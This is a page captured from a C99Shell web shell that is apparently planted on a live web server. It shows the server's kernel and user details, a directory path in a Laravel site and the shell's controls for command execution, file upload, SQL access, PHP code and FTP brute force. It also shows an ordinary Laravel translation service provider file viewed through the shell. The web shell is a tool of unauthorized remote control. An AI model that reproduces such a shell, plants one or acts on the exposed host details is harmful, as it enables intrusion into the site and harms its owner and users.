!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/packages/joedixon/laravel-translation/src/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TranslationBindingsServiceProvider.php (1.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace JoeDixon\Translation;

use 
Illuminate\Translation\TranslationServiceProvider as ServiceProvider;
use 
Illuminate\Translation\Translator;
use 
JoeDixon\Translation\Drivers\Translation;

class 
TranslationBindingsServiceProvider extends ServiceProvider
{
    
/**
     * Register package bindings in the container.
     *
     * @return void
     */
    
public function register()
    {
        if (
$this->app['config']['translation.driver'] === 'database') {
            
$this->registerDatabaseTranslator();
        } else {
            
parent::register();
        }
    }

    private function 
registerDatabaseTranslator()
    {
        
$this->registerDatabaseLoader();

        
$this->app->singleton('translator', function ($app) {
            
$loader $app['translation.loader'];
            
// When registering the translator component, we'll need to set the default
            // locale as well as the fallback locale. So, we'll grab the application
            // configuration so we can easily get both of these values from there.
            
$locale $app['config']['app.locale'];
            
$trans = new Translator($loader$locale);
            
$trans->setFallback($app['config']['app.fallback_locale']);

            return 
$trans;
        });
    }

    protected function 
registerDatabaseLoader()
    {
        
$this->app->singleton('translation.loader', function ($app) {
            
// Post Laravel 5.4, the interface was moved to the contracts
            // directory. Here we perform a check to see whether or not the
            // interface exists and instantiate the relevant loader accordingly.
            
if (interface_exists('Illuminate\Contracts\Translation\Loader')) {
                return new 
ContractDatabaseLoader($this->app->make(Translation::class));
            }

            return new 
InterfaceDatabaseLoader($this->app->make(Translation::class));
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--